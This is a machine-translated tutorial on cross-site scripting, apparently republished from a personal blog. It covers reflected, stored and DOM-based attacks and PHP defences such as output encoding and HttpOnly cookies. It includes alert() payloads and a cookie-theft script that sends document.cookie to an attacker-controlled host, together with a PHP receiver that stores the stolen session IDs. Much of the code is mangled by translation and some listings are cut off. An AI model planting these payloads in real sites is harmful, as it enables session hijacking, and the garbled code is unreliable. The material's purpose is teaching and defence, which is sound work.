XSS and xss

Source: Internet
Author: User
Tags html encode

XSS and xss
1. Introduction

Cross site script (XSS) is short for avoiding confusion with style css.

XSS is a computer security vulnerability that often occurs in web applications and is also the most popular attack method on the web. So what is XSS?

XSS refers to malicious attackers.ExploitationThe website does not escape the data submitted by users or does not have sufficient FilteringDisadvantagesAnd then add some code to embed it into the web page. So that other users can execute the embedded code.

Attackers can steal user information, use user identities to perform certain actions, or perform virus attacks on visitors.

The dangers of XSS attacks include:

1. Theft of various user accounts, such as machine logon accounts, user online banking accounts, and various administrator accounts

2. Control enterprise data, including the ability to read, tamper with, add, and delete enterprise sensitive data

3. Theft of important commercial data of an enterprise

4. Illegal Transfer

5. Force send email

6. Website Trojans

7. Control the victim machine to initiate attacks to other websites

 

2. Cause Analysis

Main reasons:Trust the data submitted by the client too much!

Solution:You do not trust any data submitted by the client. As long as the data submitted by the client is used, you must filter and process the data before proceeding to the next step.

Further analysis details:

The data submitted by the client is originally required by the application. However, malicious attackers use the website's trust in the data submitted by the client to insert some symbols and javascript code into the data, the data will become part of the application code. Then attackers can launch attacks without fear.

Therefore, we absolutelyUntrustedData submitted by any client !!!

 

3. XSS attack classification

[Do not go into details. The root cause of XSS is that the data submitted by the client is not completely filtered]

3.1. reflected xss attacks

XSS is also the most common type for non-persistent cross-site scripting attacks. The cause of the vulnerability is that the data injected by the attacker is reflected in the response. A typical non-persistent XSS contains a link with an XSS attack vector (that is, each attack requires a user's click ).

Simple Example

Send messages normally:

Http://www.test.com/message.php? Send = Hello, World!

The recipient will receive information and display Hello, Word

Abnormal message sending:

Http://www.test.com/message.php? Send = <script> alert ('foolish! ') </Script>!

A warning window will pop up when the recipient receives the message.

3.2 storage-type xss attacks

Also known as persistent cross-site scripting, it usually occurs in the XSS attack vector (usually XSS attack code) stored in the website database, when a page is opened by the user. Each time a user opens a browser, the script is executed. Persistent XSS attacks are more harmful than non-persistent XSS attacks, because the script is automatically executed when the user opens the page to view the content. Google's orkut once suffered XSS.

Simple Example:

From the name, we can see that the stored XSS attack is to store the attack code into the database, and then execute the attack code when the client opens. For example, message board

Form field in the message board form: <input type = "text" name = "content" value = "here is the data filled by the user">

Normal operation:

The user submits the corresponding message information, stores the data to the database, and other users access the message board, and the application displays the data.

Abnormal operation:

The attacker entered <script> alert ('foolish! ') </Script> [or other html labels (destroy the style ...) , A piece of attack code ];

Store data in the database;

When other users retrieve the data and display it, they will execute the aggressive code.

3.3. DOMBasedXSS (dom-based cross-site scripting)

DOM-based XSS is also known as type0XSS. This vulnerability may occur when users can interactively modify the DOM (DocumentObjectModel) in the browser page and display it on the browser. In effect, it is also a reflected XSS.

The XSS formed by modifying the DOM node of the page is called DOMBasedXSS.

The premise is that the vulnerable website has an HTML page that uses Insecure Methods from document. location or document. URL or document. referrer obtains data (or any other object that attackers can modify ).

Simple Example:

 1 <HTML> 2 <TITLE>Welcome!</TITLE> 3 Hi 4 <SCRIPT> 5 var pos=document.URL.indexOf("name=")+5; 6 document.write(document.URL.substring(pos,document.URL.length)); 7 </SCRIPT> 8 <BR> 9 Welcome to our system10 …11 </HTML>

This example is a welcome page. name is the name parameter obtained from the URL.

Normal operation:

Http://www.vulnerable.site/welcome.html? Name = Joe

Abnormal operation:

Http://www.vulnerable.site/welcome.html? Name = <script> alert (document. cookie) </script>

The xss condition is generated. Let's see why: the victim's browser receives this link, sends an HTTP request to www. vulnerable. site, and receives the above HTML page. The victim's browser begins to parse this HTML as DOM. DOM contains an object named document, which contains a URL attribute filled with the URL of the current page. When the parser reaches the javascript code, it will execute it and modify your HTML page. If document. URL is referenced in the Code, the strings will be embedded in HTML during parsing, and then parsed immediately. At the same time, the javascript code will find (alert (...)) And execute it on the same page, which generates the xss condition.

Note:

1. malicious script will not be embedded into HTML pages in the natural state at any time (this is not the same as other types of xss ).

2. This attack only takes effect when the browser does not modify the URL character. If the url is not directly entered in the address bar, Mozilla. will be automatically converted in document. the characters <and> (converted to % 3C and % 3E) in the URL are not attacked as in the preceding example, but are not converted in IE6 <and>, therefore, he is vulnerable to attacks.

Of course, embedding in HTML directly is only a mount point of the attack, and there are many scripts that do not need to be depended on <and> vulnerabilities. Therefore, Mozilla usually cannot prevent these attacks.

[This is from: http://www.oschina.net/translate/dom-based-xss-of-third-kind]

 

4. XSS attack Example 1. Simple XSS attack

Message class, simple javascript injection

There is a form field: <input type = "text" name = "content" value = "here is the data filled by the user">

1. If the user enters the following data: <script> alert ('foolish! ') </Script> (or <script type = "text/javascript" src = "./xss. js"> </script>)

2. After submission, a foolish warning window will pop up, saving the data to the database.

3. When other clients request this message, the attack code is executed when the data is taken out and the message is displayed. A foolish warning window is displayed.

[If you change the data to html tags for attack, the original style will be disrupted ........]

Example 2: cookie Theft

1. The website's domain name is www.test88.com, And the attacker's host is www.linuxtest.com.

2. Table list in test88.com, xss.html

1 <! DOCTYPE html> 2 

3. Malicious attackers insert corresponding code

1 <script> 2 var Str = document. cookie; // obtain cookie3 var a = document. createElement ('A'); // create a tag 4. href = 'HTTP: // www.linuxtest.com/test2.php? '+ Str; // attacker host 5. innerHTML = " "; // cover image 6 document. body. appendChild (a); // Add tags to page 7 </script>

4. insert data (attack code) into the database

5. Set the attacker-controlled host to receive stolen cookies.

1 <? Php2 header ("content-type: text/html; charset = utf8"); 3 echo "Your PHPSESSID has been stolen"; 4 echo "<pre> "; 5 print_r ($ _ GET); 6 echo "</pre>"; 7 $ cookie =$ _ GET ['phpsessid ']; 8 file_put_contents ('. /xss.txt ', $ cookie); 9?>

Start a simulated test

1. Set the sessionID Generation Code in test88.com.

1 <?php2 session_start();3 $_SESSION['xss']='xssssss';4 echo "<pre>";5 print_r($_SESSION);6 echo "</pre>";die;7 ?> 

2. The client accesses the above Code and generates its own sessionID

32.16xss.html

The following figure shows the xss.html code (displaying data) used to simulate the attack)

1 <! DOCTYPE html> 2 

 

4. When the client accidentally clicks the image, sessionID will be stolen.

# vi xss.txt

 

[Of course, this is just a simple attack. You only need to filter the data to avoid this attack. Here, we just want to let everyone know how XSS is attacked .]

5. XSS vulnerability repair

From the XSS instance and previous articles, we know that the cause of the XSS vulnerability is that the data submitted by users is not strictly filtered. Therefore, when thinking about solving XSS vulnerabilities, we should focus on how to better filter user submitted data for security.

5.1. html Entity

What is an html object?

Some Characters in html, such as (<), have special significance for HTML (an application under standard General Markup Language, therefore, these characters are not allowed in the text. To display (<) in HTML, we must use entity characters.

The existence of html entities is one of the main causes of the XSS vulnerability.

Therefore, we need to convert all these entities into corresponding entity numbers.

Display result

Description

Entity name

 

Space

& Nbsp;

<

Yu no.

& Lt;

>

Yu no.

& Gt;

&

And number

& Amp;

"

Quotation marks

& Quot;

'

Marker

& Apos; (not supported by IE)

5.2. HTML Encode

When the user submits the data, the user performs HTML encoding, converts the corresponding symbol to the object name, and then proceeds with the next step.

This function already exists in PHP, that is, the htmlentities ($ str) function.

The opposite is the html_entity_decode ($ str) function, which converts the object name to the corresponding symbol.

5.3 vulnerability fixing Policy

[Data not submitted by the corresponding user,Filter and filter!]

1. mark important cookies as http only. In this way, the document. cookie statement in Javascript cannot get cookies.

2. Type of the table data specified value. For example, the age must be a combination of only int and name letters and numbers ....

4. Html Encode processing of data

5. filter or remove Special Html tags, such as <script>, <iframe>, & lt; for <, & gt; for>, & quot

6. Filter tags of JavaScript events. For example, "onclick =", "onfocus", etc.

[Note :]

Html tags are allowed in some applications, or even javascript code. Therefore, when filtering data, we need to carefully analyze which data has special requirements (for example, html code, javascript code splicing are required for output, or this form can be used directly), and then process the difference!

5.4. Related functions in PHP

[PHP manual for details]

This may not be complete. I want to learn more about the manual.

Strip_tags ($ str, [Allow tags]) # Remove HTML and PHP tags from strings

Htmlentities ($ str) function # Escape html Entity

Html_entity_decode ($ str) function # reverse the html Entity

Addcslashes ($ str, 'characters') function # Add a backslash to some characters

Stripcslashes ($ str) function # Remove the backslash

Addslashes ($ str) function # single quotes, double quotation marks, backslash, and NULL plus backslash

Stripslashes ($ str) function # Remove the backslash

Htmlspecialchars () # convert special characters to HTML Objects

Htmlspecialchars_decode () # convert special HTML entities back to common characters

5.5. Data Filtering
1 <? Php 2 class XSS 3 {4/** 5 * @ desc filter data 6*7 * @ param $ data string | array input data 8 * @ param $ low bool adopt stricter? return the filtered data 11 */12 public function clean_xss ($ data, $ low = False) 13 {14 # string filter 15 if (! Is_array ($ data) 16 {17 $ data = trim ($ data); # Processing on both sides of the string 18 $ data = strip_tags ($ data ); # Remove HTML and PHP from the string to mark 19 $ data = htmlspecialchars ($ data); # convert special characters to HTML entities 20 if ($ low) 21 {22 return $ data; 23} 24 # matching and changing spaces 25 $ data = str_replace (array ('"',"\\","'","/",".. ",".. /",". /"," // "),'', $ data); 26 $ no = '/% 0 [0-8bcef]/'; 27 $ data = preg_replace ($ no, '', $ data); 28 $ no = '/% 1 [0-9a-f]/'; 29 $ Data = preg_replace ($ no, '', $ data ); 30 $ no = '/[\ x00-\ x08 \ x0B \ x0C \ x0E-\ x1F \ x7F] +/s'; 31 $ data = preg_replace ($ no, '', $ data); 32 return $ data; 33} 34 # array filter 35 $ arr = array (); 36 foreach ($ data as $ k => $ v) 37 {38 $ temp = $ this-> clean_xss ($ v); 39 $ arr [$ k] = $ temp; 40} 41 return $ arr; 42} 43 44 45} 46 # test and test 47 session_start (); 48 $ _ SESSION ['xsss'] = 'xsss'; 49 $ xss = new xss (); 50 # test string 51 $ str = "<script> alert (doc Ument. cookie) </script> "; 52 echo $ str; 53 $ str2 = $ xss-> clean_xss ($ str); 54 echo $ str2; 55 echo "

(The above are some of your own opinions and conclusions. If you have any shortcomings or errors, please point them out)

Author: The leaf with the wind http://www.cnblogs.com/phpstudy2015-6/

Statement: The above only represents the point of view or conclusion I have summarized at a certain time in my work and study. When reprinting, please provide the original article link clearly on the Article Page

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.